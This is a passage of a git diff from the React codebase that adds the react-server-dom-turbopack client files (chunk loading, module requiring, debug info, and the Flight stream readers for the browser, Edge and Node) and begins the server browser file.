+  return [resolvedModuleData.id, resolvedModuleData.chunks, name];
+}
+
+function requireAsyncModule(id: string): null | Thenable<any> {
+  // We've already loaded all the chunks. We can require the module.
+  const promise = __turbopack_require__(id);
+  if (typeof promise.then !== 'function') {
+    // This wasn't a promise after all.
+    return null;
+  } else if (promise.status === 'fulfilled') {
+    // This module was already resolved earlier.
+    return null;
+  } else {
+    // Instrument the Promise to stash the result.
+    promise.then(
+      value => {
+        const fulfilledThenable: FulfilledThenable<mixed> = (promise: any);
+        fulfilledThenable.status = 'fulfilled';
+        fulfilledThenable.value = value;
+      },
+      reason => {
+        const rejectedThenable: RejectedThenable<mixed> = (promise: any);
+        rejectedThenable.status = 'rejected';
+        rejectedThenable.reason = reason;
+      },
+    );
+    return promise;
+  }
+}
+
+// Turbopack will return cached promises for the same chunk.
+// We still want to keep track of which chunks we have already instrumented
+// and which chunks have already been loaded until Turbopack returns instrumented
+// thenables directly.
+const instrumentedChunks: WeakSet<Thenable<any>> = new WeakSet();
+const loadedChunks: WeakSet<Thenable<any>> = new WeakSet();
+
+function ignoreReject() {
+  // We rely on rejected promises to be handled by another listener.
+}
+// Start preloading the modules since we might need them soon.
+// This function doesn't suspend.
+export function preloadModule<T>(
+  metadata: ClientReference<T>,
+): null | Thenable<any> {
+  const chunks = metadata[CHUNKS];
+  const promises: Promise<any>[] = [];
+  for (let i = 0; i < chunks.length; i++) {
+    const chunkFilename = chunks[i];
+    const thenable = loadChunk(chunkFilename);
+    if (!loadedChunks.has(thenable)) {
+      promises.push(thenable);
+    }
+
+    if (!instrumentedChunks.has(thenable)) {
+      // $FlowFixMe[method-unbinding]
+      const resolve = loadedChunks.add.bind(loadedChunks, thenable);
+      thenable.then(resolve, ignoreReject);
+      instrumentedChunks.add(thenable);
+    }
+  }
+  if (isAsyncImport(metadata)) {
+    if (promises.length === 0) {
+      return requireAsyncModule(metadata[ID]);
+    } else {
+      return Promise.all(promises).then(() => {
+        return requireAsyncModule(metadata[ID]);
+      });
+    }
+  } else if (promises.length > 0) {
+    return Promise.all(promises);
+  } else {
+    return null;
+  }
+}
+
+// Actually require the module or suspend if it's not yet ready.
+// Increase priority if necessary.
+export function requireModule<T>(metadata: ClientReference<T>): T {
+  let moduleExports = __turbopack_require__(metadata[ID]);
+  if (isAsyncImport(metadata)) {
+    if (typeof moduleExports.then !== 'function') {
+      // This wasn't a promise after all.
+    } else if (moduleExports.status === 'fulfilled') {
+      // This Promise should've been instrumented by preloadModule.
+      moduleExports = moduleExports.value;
+    } else {
+      throw moduleExports.reason;
+    }
+  }
+  if (metadata[NAME] === '*') {
+    // This is a placeholder value that represents that the caller imported this
+    // as a CommonJS module as is.
+    return moduleExports;
+  }
+  if (metadata[NAME] === '') {
+    // This is a placeholder value that represents that the caller accessed the
+    // default property of this if it was an ESM interop module.
+    return moduleExports.__esModule ? moduleExports.default : moduleExports;
+  }
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
+}
+
+export function getModuleDebugInfo<T>(
+  metadata: ClientReference<T>,
+): null | ReactDebugInfo {
+  if (!__DEV__) {
+    return null;
+  }
+  const chunks = metadata[CHUNKS];
+  const debugInfo: ReactDebugInfo = [];
+  let i = 0;
+  while (i < chunks.length) {
+    const chunkFilename = chunks[i++];
+    addChunkDebugInfo(debugInfo, chunkFilename);
+  }
+  return debugInfo;
+}
diff --git a/packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackBrowser.js b/packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackBrowser.js
new file mode 100644
index 000000000000..b00fe3cb06f0
--- /dev/null
+++ b/packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackBrowser.js
@@ -0,0 +1,108 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  ReactDebugInfo,
+  ReactIOInfo,
+  ReactAsyncInfo,
+} from 'shared/ReactTypes';
+
+export function loadChunk(filename: string): Promise<mixed> {
+  return __turbopack_load_by_url__(filename);
+}
+
+// We cache ReactIOInfo across requests so that inner refreshes can dedupe with outer.
+const chunkIOInfoCache: Map<string, ReactIOInfo> = __DEV__
+  ? new Map()
+  : (null: any);
+
+export function addChunkDebugInfo(
+  target: ReactDebugInfo,
+  filename: string,
+): void {
+  if (!__DEV__) {
+    return;
+  }
+  let ioInfo = chunkIOInfoCache.get(filename);
+  if (ioInfo === undefined) {
+    let href;
+    try {
+      // $FlowFixMe
+      href = new URL(filename, document.baseURI).href;
+    } catch (_) {
+      href = filename;
+    }
+    let start = -1;
+    let end = -1;
+    let byteSize = 0;
+    // $FlowFixMe[method-unbinding]
+    if (typeof performance.getEntriesByType === 'function') {
+      // We may be able to collect the start and end time of this resource from Performance Observer.
+      const resourceEntries = performance.getEntriesByType('resource');
+      for (let i = 0; i < resourceEntries.length; i++) {
+        const resourceEntry = resourceEntries[i];
+        if (resourceEntry.name === href) {
+          start = resourceEntry.startTime;
+          end = start + resourceEntry.duration;
+          // $FlowFixMe[prop-missing]
+          byteSize = (resourceEntry.transferSize: any) || 0;
+        }
+      }
+    }
+    const value = Promise.resolve(href);
+    // $FlowFixMe
+    value.status = 'fulfilled';
+    // Is there some more useful representation for the chunk?
+    // $FlowFixMe
+    value.value = href;
+    // Create a fake stack frame that points to the beginning of the chunk. This is
+    // probably not source mapped so will link to the compiled source rather than
+    // any individual file that goes into the chunks.
+    const fakeStack = new Error('react-stack-top-frame');
+    if (fakeStack.stack.startsWith('Error: react-stack-top-frame')) {
+      // Looks like V8
+      fakeStack.stack =
+        'Error: react-stack-top-frame\n' +
+        // Add two frames since we always trim one off the top.
+        '    at Client Component Bundle (' +
+        href +
+        ':1:1)\n' +
+        '    at Client Component Bundle (' +
+        href +
+        ':1:1)';
+    } else {
+      // Looks like Firefox or Safari.
+      // Add two frames since we always trim one off the top.
+      fakeStack.stack =
+        'Client Component Bundle@' +
+        href +
+        ':1:1\n' +
+        'Client Component Bundle@' +
+        href +
+        ':1:1';
+    }
+    ioInfo = ({
+      name: 'script',
+      start: start,
+      end: end,
+      value: value,
+      debugStack: fakeStack,
+    }: ReactIOInfo);
+    if (byteSize > 0) {
+      // $FlowFixMe[cannot-write]
+      ioInfo.byteSize = byteSize;
+    }
+    chunkIOInfoCache.set(filename, ioInfo);
+  }
+  // We could dedupe the async info too but conceptually each request is its own await.
+  const asyncInfo: ReactAsyncInfo = {
+    awaited: ioInfo,
+  };
+  target.push(asyncInfo);
+}
diff --git a/packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackServer.js b/packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackServer.js
new file mode 100644
index 000000000000..600f80c6fc7a
--- /dev/null
+++ b/packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackServer.js
@@ -0,0 +1,22 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ReactDebugInfo} from 'shared/ReactTypes';
+
+export function loadChunk(filename: string): Promise<mixed> {
+  return __turbopack_load_by_url__(filename);
+}
+
+export function addChunkDebugInfo(
+  target: ReactDebugInfo,
+  filename: string,
+): void {
+  // We don't emit any debug info on the server since we assume the loading
+  // of the bundle is insignificant on the server.
+}
diff --git a/packages/react-server-dom-turbopack/src/ReactFlightClientConfigTargetTurbopackBrowser.js b/packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigTargetTurbopackBrowser.js
similarity index 100%
rename from packages/react-server-dom-turbopack/src/ReactFlightClientConfigTargetTurbopackBrowser.js
rename to packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigTargetTurbopackBrowser.js
diff --git a/packages/react-server-dom-turbopack/src/ReactFlightClientConfigTargetTurbopackServer.js b/packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigTargetTurbopackServer.js
similarity index 100%
rename from packages/react-server-dom-turbopack/src/ReactFlightClientConfigTargetTurbopackServer.js
rename to packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigTargetTurbopackServer.js
diff --git a/packages/react-server-dom-turbopack/src/client/ReactFlightDOMClientBrowser.js b/packages/react-server-dom-turbopack/src/client/ReactFlightDOMClientBrowser.js
new file mode 100644
index 000000000000..c38d5fd05133
--- /dev/null
+++ b/packages/react-server-dom-turbopack/src/client/ReactFlightDOMClientBrowser.js
@@ -0,0 +1,296 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Thenable} from 'shared/ReactTypes.js';
+
+import type {
+  DebugChannel,
+  DebugChannelCallback,
+  FindSourceMapURLCallback,
+  Response as FlightResponse,
+} from 'react-client/src/ReactFlightClient';
+
+import type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';
+
+import {
+  createResponse,
+  createStreamState,
+  getRoot,
+  reportGlobalError,
+  processBinaryChunk,
+  processStringChunk,
+  close,
+  injectIntoDevTools,
+} from 'react-client/src/ReactFlightClient';
+
+import {processReply} from 'react-client/src/ReactFlightReplyClient';
+
+export {
+  createServerReference,
+  registerServerReference,
+} from 'react-client/src/ReactFlightReplyClient';
+
+import type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
+
+export type {TemporaryReferenceSet};
+
+type CallServerCallback = <A, T>(string, args: A) => Promise<T>;
+
+export type Options = {
+  callServer?: CallServerCallback,
+  debugChannel?: {writable?: WritableStream, readable?: ReadableStream, ...},
+  temporaryReferences?: TemporaryReferenceSet,
+  unstable_allowPartialStream?: boolean,
+  findSourceMapURL?: FindSourceMapURLCallback,
+  replayConsoleLogs?: boolean,
+  environmentName?: string,
+  startTime?: number,
+  endTime?: number,
+};
+
+function createDebugCallbackFromWritableStream(
+  debugWritable: WritableStream,
+): DebugChannelCallback {
+  const textEncoder = new TextEncoder();
+  const writer = debugWritable.getWriter();
+  return message => {
+    if (message === '') {
+      writer.close();
+    } else {
+      // Note: It's important that this function doesn't close over the Response object or it can't be GC:ed.
+      // Therefore, we can't report errors from this write back to the Response object.
+      if (__DEV__) {
+        writer.write(textEncoder.encode(message + '\n')).catch(console.error);
+      }
+    }
+  };
+}
+
+function createResponseFromOptions(options: void | Options) {
+  const debugChannel: void | DebugChannel =
+    __DEV__ && options && options.debugChannel !== undefined
+      ? {
+          hasReadable: options.debugChannel.readable !== undefined,
+          callback:
+            options.debugChannel.writable !== undefined
+              ? createDebugCallbackFromWritableStream(
+                  options.debugChannel.writable,
+                )
+              : null,
+        }
+      : undefined;
+
+  return createResponse(
+    null,
+    null,
+    null,
+    options && options.callServer ? options.callServer : undefined,
+    undefined, // encodeFormAction
+    undefined, // nonce
+    options && options.temporaryReferences
+      ? options.temporaryReferences
+      : undefined,
+    options && options.unstable_allowPartialStream
+      ? options.unstable_allowPartialStream
+      : false,
+    __DEV__ && options && options.findSourceMapURL
+      ? options.findSourceMapURL
+      : undefined,
+    __DEV__ ? (options ? options.replayConsoleLogs !== false : true) : false, // defaults to true
+    __DEV__ && options && options.environmentName
+      ? options.environmentName
+      : undefined,
+    __DEV__ && options && options.startTime != null
+      ? options.startTime
+      : undefined,
+    __DEV__ && options && options.endTime != null ? options.endTime : undefined,
+    debugChannel,
+  );
+}
+
+function startReadingFromUniversalStream(
+  response: FlightResponse,
+  stream: ReadableStream,
+  onDone: () => void,
+): void {
+  // This is the same as startReadingFromStream except this allows WebSocketStreams which
+  // return ArrayBuffer and string chunks instead of Uint8Array chunks. We could potentially
+  // always allow streams with variable chunk types.
+  const streamState = createStreamState(response, stream);
+  const reader = stream.getReader();
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: any,
+    ...
+  }): void | Promise<void> {
+    if (done) {
+      return onDone();
+    }
+    if (value instanceof ArrayBuffer) {
+      // WebSockets can produce ArrayBuffer values in ReadableStreams.
+      processBinaryChunk(response, streamState, new Uint8Array(value));
+    } else if (typeof value === 'string') {
+      // WebSockets can produce string values in ReadableStreams.
+      processStringChunk(response, streamState, value);
+    } else {
+      processBinaryChunk(response, streamState, value);
+    }
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    reportGlobalError(response, e);
+  }
+  reader.read().then(progress).catch(error);
+}
+
+function startReadingFromStream(
+  response: FlightResponse,
+  stream: ReadableStream,
+  onDone: () => void,
+  debugValue: mixed,
+): void {
+  const streamState = createStreamState(response, debugValue);
+  const reader = stream.getReader();
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: ?any,
+    ...
+  }): void | Promise<void> {
+    if (done) {
+      return onDone();
+    }
+    const buffer: Uint8Array = (value: any);
+    processBinaryChunk(response, streamState, buffer);
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    reportGlobalError(response, e);
+  }
+  reader.read().then(progress).catch(error);
+}
+
+function createFromReadableStream<T>(
+  stream: ReadableStream,
+  options?: Options,
+): Thenable<T> {
+  const response: FlightResponse = createResponseFromOptions(options);
+  if (
+    __DEV__ &&
+    options &&
+    options.debugChannel &&
+    options.debugChannel.readable
+  ) {
+    let streamDoneCount = 0;
+    const handleDone = () => {
+      if (++streamDoneCount === 2) {
+        close(response);
+      }
+    };
+    startReadingFromUniversalStream(
+      response,
+      options.debugChannel.readable,
+      handleDone,
+    );
+    startReadingFromStream(response, stream, handleDone, stream);
+  } else {
+    startReadingFromStream(
+      response,
+      stream,
+      close.bind(null, response),
+      stream,
+    );
+  }
+  return getRoot(response);
+}
+
+function createFromFetch<T>(
+  promiseForResponse: Promise<Response>,
+  options?: Options,
+): Thenable<T> {
+  const response: FlightResponse = createResponseFromOptions(options);
+  promiseForResponse.then(
+    function (r) {
+      if (
+        __DEV__ &&
+        options &&
+        options.debugChannel &&
+        options.debugChannel.readable
+      ) {
+        let streamDoneCount = 0;
+        const handleDone = () => {
+          if (++streamDoneCount === 2) {
+            close(response);
+          }
+        };
+        startReadingFromUniversalStream(
+          response,
+          options.debugChannel.readable,
+          handleDone,
+        );
+        startReadingFromStream(response, (r.body: any), handleDone, r);
+      } else {
+        startReadingFromStream(
+          response,
+          (r.body: any),
+          close.bind(null, response),
+          r,
+        );
+      }
+    },
+    function (e) {
+      reportGlobalError(response, e);
+    },
+  );
+  return getRoot(response);
+}
+
+function encodeReply(
+  value: ReactServerValue,
+  options?: {temporaryReferences?: TemporaryReferenceSet, signal?: AbortSignal},
+): Promise<
+  string | URLSearchParams | FormData,
+> /* We don't use URLSearchParams yet but maybe */ {
+  return new Promise((resolve, reject) => {
+    const abort = processReply(
+      value,
+      '',
+      options && options.temporaryReferences
+        ? options.temporaryReferences
+        : undefined,
+      resolve,
+      reject,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        abort((signal: any).reason);
+      } else {
+        const listener = () => {
+          abort((signal: any).reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+  });
+}
+
+export {createFromFetch, createFromReadableStream, encodeReply};
+
+if (__DEV__) {
+  injectIntoDevTools();
+}
diff --git a/packages/react-server-dom-turbopack/src/client/ReactFlightDOMClientEdge.js b/packages/react-server-dom-turbopack/src/client/ReactFlightDOMClientEdge.js
new file mode 100644
index 000000000000..6b781f897fc1
--- /dev/null
+++ b/packages/react-server-dom-turbopack/src/client/ReactFlightDOMClientEdge.js
@@ -0,0 +1,259 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';
+
+import type {
+  DebugChannel,
+  Response as FlightResponse,
+  FindSourceMapURLCallback,
+} from 'react-client/src/ReactFlightClient';
+
+import type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';
+
+import type {
+  ServerConsumerModuleMap,
+  ModuleLoading,
+  ServerManifest,
+} from 'react-client/src/ReactFlightClientConfig';
+
+type ServerConsumerManifest = {
+  moduleMap: ServerConsumerModuleMap,
+  moduleLoading: ModuleLoading,
+  serverModuleMap: null | ServerManifest,
+};
+
+import {
+  createResponse,
+  createStreamState,
+  getRoot,
+  reportGlobalError,
+  processBinaryChunk,
+  close,
+} from 'react-client/src/ReactFlightClient';
+
+import {
+  processReply,
+  createServerReference as createServerReferenceImpl,
+} from 'react-client/src/ReactFlightReplyClient';
+
+export {registerServerReference} from 'react-client/src/ReactFlightReplyClient';
+
+import type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
+
+export type {TemporaryReferenceSet};
+
+function noServerCall() {
+  throw new Error(
+    'Server Functions cannot be called during initial render. ' +
+      'This would create a fetch waterfall. Try to use a Server Component ' +
+      'to pass data to Client Components instead.',
+  );
+}
+
+export function createServerReference<A: Iterable<any>, T>(
+  id: any,
+  callServer: any,
+): (...A) => Promise<T> {
+  return createServerReferenceImpl(id, noServerCall);
+}
+
+type EncodeFormActionCallback = <A>(
+  id: any,
+  args: Promise<A>,
+) => ReactCustomFormAction;
+
+export type Options = {
+  serverConsumerManifest: ServerConsumerManifest,
+  nonce?: string,
+  encodeFormAction?: EncodeFormActionCallback,
+  temporaryReferences?: TemporaryReferenceSet,
+  unstable_allowPartialStream?: boolean,
+  findSourceMapURL?: FindSourceMapURLCallback,
+  replayConsoleLogs?: boolean,
+  environmentName?: string,
+  startTime?: number,
+  endTime?: number,
+  // For the Edge client we only support a single-direction debug channel.
+  debugChannel?: {readable?: ReadableStream, ...},
+};
+
+function createResponseFromOptions(options: Options) {
+  const debugChannel: void | DebugChannel =
+    __DEV__ && options && options.debugChannel !== undefined
+      ? {
+          hasReadable: options.debugChannel.readable !== undefined,
+          callback: null,
+        }
+      : undefined;
+
+  return createResponse(
+    options.serverConsumerManifest.moduleMap,
+    options.serverConsumerManifest.serverModuleMap,
+    options.serverConsumerManifest.moduleLoading,
+    noServerCall,
+    options.encodeFormAction,
+    typeof options.nonce === 'string' ? options.nonce : undefined,
+    options && options.temporaryReferences
+      ? options.temporaryReferences
+      : undefined,
+    options && options.unstable_allowPartialStream
+      ? options.unstable_allowPartialStream
+      : false,
+    __DEV__ && options && options.findSourceMapURL
+      ? options.findSourceMapURL
+      : undefined,
+    __DEV__ && options ? options.replayConsoleLogs === true : false, // defaults to false
+    __DEV__ && options && options.environmentName
+      ? options.environmentName
+      : undefined,
+    __DEV__ && options && options.startTime != null
+      ? options.startTime
+      : undefined,
+    __DEV__ && options && options.endTime != null ? options.endTime : undefined,
+    debugChannel,
+  );
+}
+
+function startReadingFromStream(
+  response: FlightResponse,
+  stream: ReadableStream,
+  onDone: () => void,
+  debugValue: mixed,
+): void {
+  const streamState = createStreamState(response, debugValue);
+  const reader = stream.getReader();
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: ?any,
+    ...
+  }): void | Promise<void> {
+    if (done) {
+      return onDone();
+    }
+    const buffer: Uint8Array = (value: any);
+    processBinaryChunk(response, streamState, buffer);
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    reportGlobalError(response, e);
+  }
+  reader.read().then(progress).catch(error);
+}
+
+function createFromReadableStream<T>(
+  stream: ReadableStream,
+  options: Options,
+): Thenable<T> {
+  const response: FlightResponse = createResponseFromOptions(options);
+
+  if (
+    __DEV__ &&
+    options &&
+    options.debugChannel &&
+    options.debugChannel.readable
+  ) {
+    let streamDoneCount = 0;
+    const handleDone = () => {
+      if (++streamDoneCount === 2) {
+        close(response);
+      }
+    };
+    startReadingFromStream(response, options.debugChannel.readable, handleDone);
+    startReadingFromStream(response, stream, handleDone, stream);
+  } else {
+    startReadingFromStream(
+      response,
+      stream,
+      close.bind(null, response),
+      stream,
+    );
+  }
+
+  return getRoot(response);
+}
+
+function createFromFetch<T>(
+  promiseForResponse: Promise<Response>,
+  options: Options,
+): Thenable<T> {
+  const response: FlightResponse = createResponseFromOptions(options);
+  promiseForResponse.then(
+    function (r) {
+      if (
+        __DEV__ &&
+        options &&
+        options.debugChannel &&
+        options.debugChannel.readable
+      ) {
+        let streamDoneCount = 0;
+        const handleDone = () => {
+          if (++streamDoneCount === 2) {
+            close(response);
+          }
+        };
+        startReadingFromStream(
+          response,
+          options.debugChannel.readable,
+          handleDone,
+        );
+        startReadingFromStream(response, (r.body: any), handleDone, r);
+      } else {
+        startReadingFromStream(
+          response,
+          (r.body: any),
+          close.bind(null, response),
+          r,
+        );
+      }
+    },
+    function (e) {
+      reportGlobalError(response, e);
+    },
+  );
+  return getRoot(response);
+}
+
+function encodeReply(
+  value: ReactServerValue,
+  options?: {temporaryReferences?: TemporaryReferenceSet, signal?: AbortSignal},
+): Promise<
+  string | URLSearchParams | FormData,
+> /* We don't use URLSearchParams yet but maybe */ {
+  return new Promise((resolve, reject) => {
+    const abort = processReply(
+      value,
+      '',
+      options && options.temporaryReferences
+        ? options.temporaryReferences
+        : undefined,
+      resolve,
+      reject,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        abort((signal: any).reason);
+      } else {
+        const listener = () => {
+          abort((signal: any).reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+  });
+}
+
+export {createFromFetch, createFromReadableStream, encodeReply};
diff --git a/packages/react-server-dom-turbopack/src/client/ReactFlightDOMClientNode.js b/packages/react-server-dom-turbopack/src/client/ReactFlightDOMClientNode.js
new file mode 100644
index 000000000000..7aff35e85da5
--- /dev/null
+++ b/packages/react-server-dom-turbopack/src/client/ReactFlightDOMClientNode.js
@@ -0,0 +1,143 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';
+
+import type {
+  DebugChannel,
+  FindSourceMapURLCallback,
+  Response,
+} from 'react-client/src/ReactFlightClient';
+
+import type {
+  ServerConsumerModuleMap,
+  ModuleLoading,
+  ServerManifest,
+} from 'react-client/src/ReactFlightClientConfig';
+
+type ServerConsumerManifest = {
+  moduleMap: ServerConsumerModuleMap,
+  moduleLoading: ModuleLoading,
+  serverModuleMap: null | ServerManifest,
+};
+
+import type {Readable} from 'stream';
+
+import {
+  createResponse,
+  createStreamState,
+  getRoot,
+  reportGlobalError,
+  processStringChunk,
+  processBinaryChunk,
+  close,
+} from 'react-client/src/ReactFlightClient';
+
+export * from './ReactFlightDOMClientEdge';
+
+function noServerCall() {
+  throw new Error(
+    'Server Functions cannot be called during initial render. ' +
+      'This would create a fetch waterfall. Try to use a Server Component ' +
+      'to pass data to Client Components instead.',
+  );
+}
+
+type EncodeFormActionCallback = <A>(
+  id: any,
+  args: Promise<A>,
+) => ReactCustomFormAction;
+
+export type Options = {
+  nonce?: string,
+  encodeFormAction?: EncodeFormActionCallback,
+  unstable_allowPartialStream?: boolean,
+  findSourceMapURL?: FindSourceMapURLCallback,
+  replayConsoleLogs?: boolean,
+  environmentName?: string,
+  startTime?: number,
+  endTime?: number,
+  // For the Node.js client we only support a single-direction debug channel.
+  debugChannel?: Readable,
+};
+
+function startReadingFromStream(
+  response: Response,
+  stream: Readable,
+  onEnd: () => void,
+): void {
+  const streamState = createStreamState(response, stream);
+
+  stream.on('data', chunk => {
+    if (typeof chunk === 'string') {
+      processStringChunk(response, streamState, chunk);
+    } else {
+      processBinaryChunk(response, streamState, chunk);
+    }
+  });
+
+  stream.on('error', error => {
+    reportGlobalError(response, error);
+  });
+
+  stream.on('end', onEnd);
+}
+
+function createFromNodeStream<T>(
+  stream: Readable,
+  serverConsumerManifest: ServerConsumerManifest,
+  options?: Options,
+): Thenable<T> {
+  const debugChannel: void | DebugChannel =
+    __DEV__ && options && options.debugChannel !== undefined
+      ? {hasReadable: true, callback: null}
+      : undefined;
+
+  const response: Response = createResponse(
+    serverConsumerManifest.moduleMap,
+    serverConsumerManifest.serverModuleMap,
+    serverConsumerManifest.moduleLoading,
+    noServerCall,
+    options ? options.encodeFormAction : undefined,
+    options && typeof options.nonce === 'string' ? options.nonce : undefined,
+    undefined, // TODO: If encodeReply is supported, this should support temporaryReferences
+    options && options.unstable_allowPartialStream
+      ? options.unstable_allowPartialStream
+      : false,
+    __DEV__ && options && options.findSourceMapURL
+      ? options.findSourceMapURL
+      : undefined,
+    __DEV__ && options ? options.replayConsoleLogs === true : false, // defaults to false
+    __DEV__ && options && options.environmentName
+      ? options.environmentName
+      : undefined,
+    __DEV__ && options && options.startTime != null
+      ? options.startTime
+      : undefined,
+    __DEV__ && options && options.endTime != null ? options.endTime : undefined,
+    debugChannel,
+  );
+
+  if (__DEV__ && options && options.debugChannel) {
+    let streamEndedCount = 0;
+    const handleEnd = () => {
+      if (++streamEndedCount === 2) {
+        close(response);
+      }
+    };
+    startReadingFromStream(response, options.debugChannel, handleEnd);
+    startReadingFromStream(response, stream, handleEnd);
+  } else {
+    startReadingFromStream(response, stream, close.bind(null, response));
+  }
+
+  return getRoot(response);
+}
+
+export {createFromNodeStream};
diff --git a/packages/react-server-dom-turbopack/src/client/react-flight-dom-client.browser.js b/packages/react-server-dom-turbopack/src/client/react-flight-dom-client.browser.js
new file mode 100644
index 000000000000..a3f15d0116cf
--- /dev/null
+++ b/packages/react-server-dom-turbopack/src/client/react-flight-dom-client.browser.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from './ReactFlightDOMClientBrowser';
diff --git a/packages/react-server-dom-turbopack/src/client/react-flight-dom-client.edge.js b/packages/react-server-dom-turbopack/src/client/react-flight-dom-client.edge.js
new file mode 100644
index 000000000000..14a8876953b2
--- /dev/null
+++ b/packages/react-server-dom-turbopack/src/client/react-flight-dom-client.edge.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from './ReactFlightDOMClientEdge';
diff --git a/packages/react-server-dom-turbopack/src/client/react-flight-dom-client.node.js b/packages/react-server-dom-turbopack/src/client/react-flight-dom-client.node.js
new file mode 100644
index 000000000000..8eb9daa35b6f
--- /dev/null
+++ b/packages/react-server-dom-turbopack/src/client/react-flight-dom-client.node.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from './ReactFlightDOMClientNode';
diff --git a/packages/react-server-dom-turbopack/src/server/ReactFlightDOMServerBrowser.js b/packages/react-server-dom-turbopack/src/server/ReactFlightDOMServerBrowser.js
new file mode 100644
index 000000000000..0100789347b0
--- /dev/null
+++ b/packages/react-server-dom-turbopack/src/server/ReactFlightDOMServerBrowser.js
@@ -0,0 +1,273 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  Request,
+  ReactClientValue,
+} from 'react-server/src/ReactFlightServer';
+import type {Thenable} from 'shared/ReactTypes';
+import type {ClientManifest} from './ReactFlightServerConfigTurbopackBundler';
+import type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';
+
+import {
+  createRequest,
+  createPrerenderRequest,
+  startWork,
+  startFlowing,
+  startFlowingDebug,
+  stopFlowing,
+  abort,
+  resolveDebugMessage,
+  closeDebugChannel,
+} from 'react-server/src/ReactFlightServer';
+
+import {
+  createResponse,
+  close,
+  getRoot,
+} from 'react-server/src/ReactFlightReplyServer';
+
+import {
+  decodeAction,
+  decodeFormState,
+} from 'react-server/src/ReactFlightActionServer';
+
+export {
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+} from '../ReactFlightTurbopackReferences';
+
+import {
+  createStringDecoder,
+  readPartialStringChunk,
+  readFinalStringChunk,
+} from 'react-client/src/ReactFlightClientStreamConfigWeb';
+
+import type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export type {TemporaryReferenceSet};
+
+type Options = {
+  debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},
+  environmentName?: string | (() => string),
+  filterStackFrame?: (url: string, functionName: string) => boolean,
+  identifierPrefix?: string,
+  signal?: AbortSignal,
+  temporaryReferences?: TemporaryReferenceSet,
+  onError?: (error: mixed) => void,
+  startTime?: number,
+};
+
+function startReadingFromDebugChannelReadableStream(
+  request: Request,
+  stream: ReadableStream,
+): void {
+  const reader = stream.getReader();
+  const stringDecoder = createStringDecoder();
+  let stringBuffer = '';
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: ?any,
+    ...
+  }): void | Promise<void> {
+    const buffer: Uint8Array = (value: any);
+    stringBuffer += done
